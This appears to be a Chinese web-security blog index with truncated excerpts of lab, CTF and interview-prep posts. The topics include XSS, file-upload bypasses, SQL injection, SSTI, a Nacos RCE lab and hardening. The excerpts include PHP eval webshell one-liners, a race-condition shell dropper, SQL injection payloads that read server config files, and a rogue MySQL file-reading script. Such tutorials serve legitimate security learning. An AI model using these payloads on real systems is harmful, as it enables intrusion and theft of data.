WEB攻防-通用漏洞-XSS跨站之基本概念
XSS原理指攻击者利用网站程序对用户的输入过滤不足,输入可以显示在页面上对其它用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或者处理不严谨的时候,浏览器就会直接执行用户注入的脚本。
XSS产生于前端的漏洞,常产生于:
1.数据交互的地方 get、post、headers 反馈与浏览 富文本编辑器 各类标签插入和自定义2.数据输出的地方 用户资料 关键词、标签、说明 文件上传
反射型XSS攻击原理反射型xss又称为非持久型xss,需要欺骗用户去点击链接才能触达xss代码。一般容易出现在搜索页面,反射型xss大多数用来盗取用户的Cookie信息,由于是非持久性的xss,其危害满足条件也很苛刻,所以现实生活中一般很少有厂家接收这个漏洞。下图很好的概括了反射型xss的攻击流程
实例演示我们以一道CTF题目来演示什么是反射型xss以及什么是xss平台
我们一进来就看就有空格过滤,我们先随便试一试,看看能不能进行简单的弹窗,我们先输入<script>aler ...
WEB攻防-通用漏洞-文件上传之中间件解析、编辑器安全
IIS6.0解析漏洞解析漏洞原理介绍:
1.当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都被IIS当作ASP文件进行解析2.当文件时*.asp;1.jpg时,IIS6.0同样会将文件作为ASP文件进行解析,同时包括下面三种文件格式,也同样被当作asp文件进行执行test.asa;1.jpgtest.cer;1.jpgtest.cdx;1.jpg
我们以一个实例来进行演示,如下所示,当上传一个普通的文件的时候,我们发现保存的路径为http://xxxxxxxx/xxxxxx.gif,同时我们发现可疑值filepath=/
我们修改filepath的值,可以发现会进行地址拼接,所以我们可以利用这个点来进行构造asp解析文件
我们将filepath的值修改为x.asp;.,再发包,会出现下面的情况
此时我们成功触发asp的代码,IIS可以把其当作asp代码进行解析,如下所示
当然我们也可以将filepath修改为/x.asp/,即构造一个asp目录,使得其目录内的文件全部被当作asp文件进行解析,但是这个要配合权限设置,即对方开启了创建目录的权限,否则无法利用这个漏 ...
WEB攻防-通用漏洞-文件上传之二次渲染、变异免杀、日志包含
条件竞争文件上传的条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此如果处理不当或相关逻辑顺序设计不合理的时候,就会导致此类问题的发生,如果我们采用大量的并发请求,就传递一个生成恶意webshell的图像,访问它就可以生成webshell,在上传完成喝安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求来访问该文件,该文件就会被执行,并在服务器上生成一个恶意地webshell
我们接下来以一道upload-labs的pass-18来展示条件竞争的手法
我们首先上传一个PHP文件,看看我们的目录中有没有出现PHP,我们发现根本上传不上去,查看对应的源码
我们可以知道我们在上传的一瞬间,只要检测到了是PHP文件,我们的后端就会删除这个文件并且返回文件类型错误,我们这个时候就可以使用条件竞争来进行绕过
我们首先将上传进去的木马换成如下
<?php $f=fopen("shell.php","w"); fputs($f,'<?php @eval($_POST[cmd]);?> ...
零信任技术之fwknop单包认证敲门
实验背景服务器某个端口服务受到防火墙的保护情况下,外界机器无法访问该端口上的服务
实验目的通过在服务器和客户机上分别部署feknop敲门服务端和敲门客户端并进行配置,可以只让授权的客户端所在的机器敲开服务器的受保护的22号端口
实验准备需要有两台Linux虚拟机,我这里其中一台为Ubuntu,一台为kali,我们以kali作为服务器,以Ubuntu作为客户机,要让Ubuntu想办法敲开Linux的22号端口
客户机安装配置fwknop客户端使用命令下载fwknop-客户机
sudo apt updatesudo apt install fwknop-client
生成敲门凭证(千万不要加sudo,如果是root用户,请切换为普通用户)
fwknop -A tcp/22 -a xxx -D yyy --key-gen --use-hmac 1 --save-rc-stanza
其中xxx替换为我们的Ubuntu的ip,yyy替换为服务器的ip,我们首先用ifconfig查看一下我们的服务端和客户端的ip
比如我的是这样的
fwknop -A tcp/22 -a 192.168.15 ...
川大实训-认识、了解云安全
什么是ECS?产生背景和优势是什么?云厂商一般会将一台物理服务器分割为多个虚拟机,跟我们自己在VMware建立虚拟机是一个道理,每个虚拟机都有自己独立的操作系统、资源(CPU、内存、存储空间)和公网IP地址,这样的虚拟机就是VPS,虚拟专用服务器,但是VPS有一个缺点,就是不支持用户自主升降级,资源是预先分配好的并且不易于动态调整的,即如果你是1核1G的服务器,想要给他升级到2核2G的,在VPS中是实现不了的,但是如果加入自主升级降级的功能,就成了ECS(Elastic Compute Service,弹性计算服务),可以根据用户的需求随时调整CPU、内存、磁盘和带宽,所以被称为弹性服务器,这就是ECS产生的背景和优势,基于VPS不能自主升降级而产生ECS
什么是安全组?有何作用?安全组是一种虚拟防火墙,能够控制ECS实例的出入站流量。安全组的入站方向控制ECS实例的入站流量,出方向控制ECS实例的出战流量,一般我们都对入站流量进行限制,而不限制出战流量,在安全组规则设定中,我们可以限制特定IP的访问,也可以限制特定端口是否开放,最好别把入站端口全部打开,因为我的服务器因为打开所有的入 ...
nacos 1day保姆级复现
产品概述NACOS是一个开源的服务发现、配置管理和服务治理平,属于阿里巴巴的一款开源产品
2.3.2版本的nacos存在远程代码执行漏洞,攻击者可以在远程服务器上执行任意代码,进而让攻击者完全控制受影响的系统,导致严重的安全问题
环境搭建我的环境是搭建在虚拟机Ubuntu上的,折腾搭建靶场也折腾了蛮久的,主要是编译太久了,大概有一个小时才编译好吧,这里我会详细记录每一步搭建过程,以帮助大家更好地搭建靶场
我的Ubuntu版本是22.0.4TLS版本,我觉得版本影响应该不是很大,首先要确保自己的虚拟机里有JDK环境,如果你是新搭建的虚拟机,我建议先要安装JDK,使用如下的命令安装JDK
sudo apt install openjdk-17
安装好JDK后我们去GitHub上拉取项目,项目地址如下
https://github.com/alibaba/nacos/releases/tag/2.3.2
我这里使用的是git clone,相关命令如下所示
git clone https://github.com/alibaba/nacos.gitcd nacosgit checkout t ...
川大实训-安全加固实验
什么是安全加固?安全加固和优化是实现信息系统安全的关键环节。通过安全加固,将在信息系统的网络层、主机层、软件层等层次建立符合安全需求的安全状态,并以此作为保证用户信息系统安全的起点
安全加固是配置软件系统的过程中,针对服务器操作系统、数据库及应用中间件等软件系统,通过打补丁、强化账号安全、加固服务、修改安全配置、优化访问控制策略、增加安全机制等方法,堵塞漏洞和“后门”,合理进行安全性加强,提高其健壮性和安全性,增加攻击者入侵的难度,提升系统安全防范水平
Windows安全加固这里以win7虚拟机为例子,在进行实验之前,一定要记得提前拍好快照,以方便在实验结束后恢复实验前的状态
点击这个键拍摄虚拟机快照,方便我们及时恢复原来的状态
Windows配置的途径组策略(gpedit.msc)命令(cmd或powershell中执行,或者编写批处理文件bat执行)注册表(regedit)配置文件(每个人都不一样,根据实际情况进行配置)
账户管理和认证授权账户默认账户安全
禁用 Guest 账户。
禁用或删除其他无用账户(建议先禁用账户三个月,待确认没有问题后删除。)
操作步骤
打开 控制面板 ...
川大暑期实训-实现攻击反制
反制mysql客户端exp_dicc.py
# -*- coding: utf-8 -*-import socketimport osimport sysfrom pathlib import Pathimport platformclass MySQLFileReader: def __init__(self, port): self.port = port self.sv = socket.socket() self.sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sv.bind(("", port)) self.sv.listen(5) def mysql_get_file_content(self, filename): conn, address = self.sv.accept() print(f"收到连接: {address[0]}&quo ...
文件上传漏洞靶场通关教程
环境搭建我使用的是win7虚拟机+phpEnv搭建靶场环境,我们只需要将upload-labs的源码下载下来,并拖入到虚拟机对应的文件中,如下所示
并在网络配置下写入如下配置
根目录选中源码目录,点击保存,最后在自己本机上的host文件中加上xx.xx.xx.xx(虚拟机IP) upload.local,如下所示
这样我们的本机就能成功的进行域名解析,我们就可以通过物理机上的浏览器进行访问虚拟机的网站
Pass-01我们先上传一个php马,通过bp进行抓包,我们在脚本中写入<?php @eval($_POST['attack']);?>,保存为attack.php,进行上传
发现bp并没有抓到包,所以可以判定是前端验证,我们打开开发者工具,我们可以发现js代码
我们直接禁用js,重新上传,我们可以发现成功上传,直接使用蚁剑连接,图像地址为http://upload.local/upload/attack.php,连接
Pass-02同样的,先上传attack.php,看看是什么限制,这一看就是后端检测了,我们用bp抓包
将Content-Ty ...
crAPI靶场搭建及通关教程
靶场搭建我是搭建在服务器上的,当然,如果你有虚拟机也可以搭建在虚拟机上,但是最好用一个新的Ubuntu环境,不然就会出现各种各样的问题,导致搞了好几个小时环境问题还没搞明白,下面演示在服务器上搭建相关的靶场环境(服务器记得放行8888端口和8025端口)
首先确保自己的服务器有docker环境依次输入如下命令:curl -o docker-compose.yml https://raw.githubusercontent.com/OWASP/crAPI/main/deploy/docker/docker-compose.ymldocker-compose pullvim docker-compose.yml输入":"进入末行模式,并输入命令进行替换:1,250 s/127.0.0.1/xx.xx.xx.xx(服务器公网IP)/gdocker-compose -f docker-compose.yml --compatibility up -d
当出现下面的页面的时候,就代表靶场启动成功
我们在自己的浏览器上输入xx.xx.xx.xx(服务器公网IP):8888/l ...
WEB攻防-通用漏洞-SQL注入(五)之非常规注入点
前言原理很简单,只是注入位置不同,XFF注入的典型特征就是后端代码有检测IP的代码段,类似于下面这种
一般用来判断一个IP是不是进行了多次重复操作而设置的,一般我们可以使用x-forwarded-for进行IP欺骗,并在此处进行sql注入;而Cookie就是在Cookie处进行注入,换汤不换药,其实和GET型注入区别不大,下面以两道例题来解释这两种注入方法
Cookie注入以sqllab第20关为例子,这里需要用到bp进行抓包
我们先随便输入账号密码,然后抓包看看什么情况
返回这个,提示我们是Cookie注入,我们用bp进行Cookie注入,首先将Cookie设置为admin,发送
加上单引号admin',发现报错
加上注释符,页面重新正常
所以我们知道为单引号闭合的字符型注入,接下来就是常规的联合注入,猜字段数,如下
字段为3,看显位
显位为2,3,继续猜库名,这里直接放图,后续就不再写步骤
至此,Cookie注入到此结束,和普通的注入没有什么太大的区别,主要区别就在于注入点的位置不一样
XFF注入我们这里以墨者靶场为例子进行演示,相关题目链接如下所 ...
WEB攻防-通用漏洞-SQL注入(四)
SQL注入类型SQL根据接收数据方式的不同,可以分为数字型注入、字符型注入、搜索型注入、编码型注入,不同的注入方式涉及的注入语句虽然区别不大,但是如果不加以区分,就会导致手注失败,甚至可能会判定为没有注入点,我们拿到一个站点的第一步就是应该先测出属于哪种类型的注入,下面我们介绍一下注入类型
数字型数字型就是我们前几次介绍的最多的,也是我们比较常见的注入类型之一,为什么叫数字型,是因为我们传进去的参数后端会把其当作数字,其注入语句如下
$sql = "select * from guestbook where id = $i";
即我们不需要单引号也能正常运行,所以对于数字型注入点,我们不需要加引号,不用考虑符号的闭合
假设我们传进去的注入语句为1 order by 2,传入sql就会变为$sql = "select * from guestbook where id = 1 order by 2";,即我们不需要加任何符号进行闭合,也不需要在尾部增加注释符就可以完成注入
字符型字符型遇到的也比较多,sql语句如下所示
$sql = " ...
WEB攻防-通用漏洞-SQL注入(三)
本篇文章将简单介绍Oracle数据库和Mongodb数据库的手工注入语法,帮助大家更好的理解SQL注入背后的原理,然后再介绍sqlmap的一些基础用法,帮助大家快速掌握sqlmap进行注入的语法,以及sqlmap和msf联动,体验如何通过注入漏洞进行getshell
Oracle数据库Oracle数据库主要和JAVA应用联合使用,也是较为常见的数据库之一,所以我们很有必要了解Oracle数据库的手工注入流程
order by 定字段and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型第一个字段是字符型,判断第二个字段类型:and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型第一个字段是数字型,判断第二个字段类型:an ...
WEB攻防-通用漏洞-SQL注入(二)
MYSQL/PostgreSQL高权限读写当mysql的当前用户为高权限用户的时候,即为root用户的时候,我们可以进行读写注入,即我们既可以读出特定的文件,也可以将一些内容写入某些特定文件中,进而可能造成后门代码,从而用getshell
读取文件union select 1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
我们可以看到成功从对应的文件中读取出相关的数据
数据库中正常读取文件:
select load_file('d:/w.txt');
所以我们可以尝试读取数据库配置文件等重要性文件,进而扩大危害
http://127.0.0.1:8081/web/mysql/news.php?id=1 UNION SELECT 1,load_file('D:\\phpstudy_pro\\WWW\\web\\mysql\\config\\conn.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
为什么使用\\ ...
WEB攻防-通用漏洞-SQL注入(一)
什么是sql注入?脚本代码在实现代码与数据进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时,其中攻击者能通过控制参数传递的自定义值来实现控制SQL语句,从而执行恶意的SQL语句,倘若管理员代码不做任何过滤的话,就可以实现查询到管理员的账号密码,进而实现越权攻击
SQL注入的产生原理两个基本条件:可控变量 特定函数
常见Payload示例如下
后端验证代码:
SELECT * FROM users WHERE username = '$username' AND password = '$password';
注入语句:
' OR '1' = '1
拼接后的查询语句:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
这里的'1'='1'永真,导致忽略了原始的用户名和密码 ...
WEB攻防-Python项目
如何判断是Python语言开发?当拿到一个网站,首先要搞清楚是否是由python语言开发的,才能知道是否有python的特性漏洞,首先看中间件,看是不是用Werkzeug中间件进行搭建的,如果是,那就是python语言开发的
什么是PYC文件PYC文件就是python文件编译后生成的字节码文件。类似于JAVA的.class文件,pyc文件经过python解释器后最终会生成机器码运行,所以pyc文件是可以跨平台部署的,一般py文件改变后,对应的pyc文件也会改变,在实战中,如果我们拿到pyc文件,可以试着拿去反编译得到python文件
接下来介绍几个反编译平台
python反编译 - 在线工具 (tool.lu)
在线pyc,pyo,python,py文件反编译,目前支持python1.5到3.6版本的反编译-在线工具 (bugscaner.com)
但是一般这种都在CTF中出现,在现实情况下很难遇到,因为很难拿到别人python跑出来的PYC文件
SSTI入门什么是SSTI?当前使用的一些框架,比如python的flask框架,PHP的tp框架,JAVA的Spring框架等一般 ...
面试版-HTTP详解(二)
HTTP特性到目前为止,HTTP常见的版本有HTTP/1.1,HTTP/2.0,HTTP/3.0,不同的版本的HTTP的特性是不一样的
我们日常生活中遇到的最多的就是HTTP/1.1版本,所以接下来也都会围绕着HTTP/1.1进行讲述
HTTP/1.1最突出的优点就是简单、灵活和易于扩展、应用广泛和跨平台
简单表现在HTTP的报文格式是header+body,头部信息也是key-value的简单文本形式,易于理解和使用
灵活和易于扩展体现在HTTP协议里的各类请求方法、URL、状态码、头字段等每个组成部分都没有被固定死,允许开发人员进行自定义和扩充,比如HTTPS就是在HTTP与TCP层之间增加SSL/TLS安全传输层
应用广泛和跨平台体现在从台式机的浏览器到手机上的各种APP,从看新闻到购物,没有一项离得开HTTP技术,且HTTP具有天然的跨平台的优势
HTTP/1.1的缺点表现在无状态和明文传输,同时还有一大缺点就是不安全
无状态表现在服务器没有记忆能力,即每次都需要验证对方的身份,所以在完成具有关联性的操作的时候会非常的麻烦,梅进行一次不同的请求,服务器都要重新验证一下身份信息, ...
WEB攻防-JavaScript项目
JavaScript特点想必大家都比较清楚什么是JavaScript语言,当遇见一个网页时,我们只需要按下F12,如果看到了什么app.js,这些js文件就是JavaScript语言开发的,JS语言作为比较常见的前端开发语言,他的一个很重要的特性就是代码的可读性,它不像php,java等开发语言是只有服务器才知道代码是怎样的,JS语言通过F12可以在web端查看到源代码,等同于白盒测试,我们可以更快的发现可控变量,方便我们寻找相关漏洞
如何判断是否为JS代码开发?首先可以使用插件 wappalyzer,如下图所示
我们的wappalyzer可以很容易的识别相关网站使用了JS库,进而可以判断这个网站是使用JavaScript进行编写的
第二种方法是看其源代码是否简单,一般使用JavaScript的网站应用的源代码都很简短,因为JavaScript可以引用已经写好的一些js文件,使得自己编写的代码就很简短,如下图所示
我们可以看到,基本上很多的代码都被封装在了js文件中,用<script src="/xxx/xxx/xxx.js">的形式进行 引用
最后 ...
面试版-HTTP详解(一)
众所周知,计算机网络作为计算机中的一大巨头,每年面试的时候都会被问的很多,同时,作为计算机网络中最为基础的协议——HTTP协议,在面试中被问的概率是很高的。无论是面试开发岗还是安全岗,清楚的了解HTTP协议的工作流程是必不可少的,下面就将围绕几个比较常见的关于HTTP协议的面试题做出收集和知识点整理
HTTP基本概念
HTTP是什么?
HTTP是超文本传输协议,也就是Hyper Text Transfer Protocol。
如何理解超文本传输协议?
HTTP的名字超文本传输协议可以拆成三个部分:超文本、传输、协议
协议:HTTP是一个用在计算机世界的协议。它使用计算机能够理解的语言确立了一种计算机之间的交流通信的规范,以及相关的各种控制和错误处理方式传输:HTTP协议是一个双向协议,是一个在计算机世界里专门用来在两点之间传输数据的约定和规范超文本:先来理解简单额文本,互联网早期的时候只是简单的字符文字,但现在文本的涵义已经可以扩展为图片、视频、压缩包等,但是在HTTP眼中这些都只算作文本;再来理解超文本,它就是超越了普通文本的文本,它是文字、图片、视频的混合体,且含有超链接,能 ...
WEB攻防-JAVA安全
引言在当今数字化时代,JAVA已经成为主流编程语言之一。无论是企业级应用程序还是个人项目,JAVA应用程序都承载着大量的敏感数据和业务逻辑。所以,学好对JAVA安全的防护变得尤为重要。同时,JAVA语言相对于PHP以及其他语言来说有着更高的安全性,所以如果采用JAVA语言编写的web,几乎不可能存在sql注入,面对JAVA开发的应用程序,如果要对其进行安全测试的话,一般是要拿到其源码才可以的,所以,JAVA安全是很难的,也是最有价值去研究的
WebGoat8靶场搭建这一部分笔者折腾了很久,按照一般的教程,大家都是通过把WebGoat的jdk下载下来,然后用自己的jdk命令行打开就行,但是笔者在实操的时候发现了虽然有jdk,但是jdk版本太老了,不能带动WebGoat的运行,于是我也去升级了一下我的jdk,下了一个全新版本的jdk,然后就和我的老jdk冲突了🤬,在网上试了很多方法,都没成功,最后决定下载Docker镜像,在服务器上搭建,好在是这样成功了
按照如下方式在你的虚拟机上安装docker镜像
docker pull webgoat/webgoat-8.0 //拉取镜像dock ...